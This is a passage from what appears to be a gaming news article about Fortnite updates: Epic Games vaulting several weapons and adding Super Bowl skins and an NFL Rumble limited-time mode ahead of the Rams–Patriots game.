Epic Games has also vaulted the Bolt-action Sniper Rifle, Burst Rifle, Heavy Shotgun and SMG.

There’s also a special Super Bowl surprise ahead of next weekend’s game between Los Angeles Rams and New England Patriots.

This includes returning Super Bowl skins, as well as a limited time game mode.

The NFL Rumble is expected to debut later this week in time for the Super Bowl.

“Represent one of the two teams from the Big Game by fighting for the Victory Royale in an action-packed mode where the first team to get 100 eliminations wins!”

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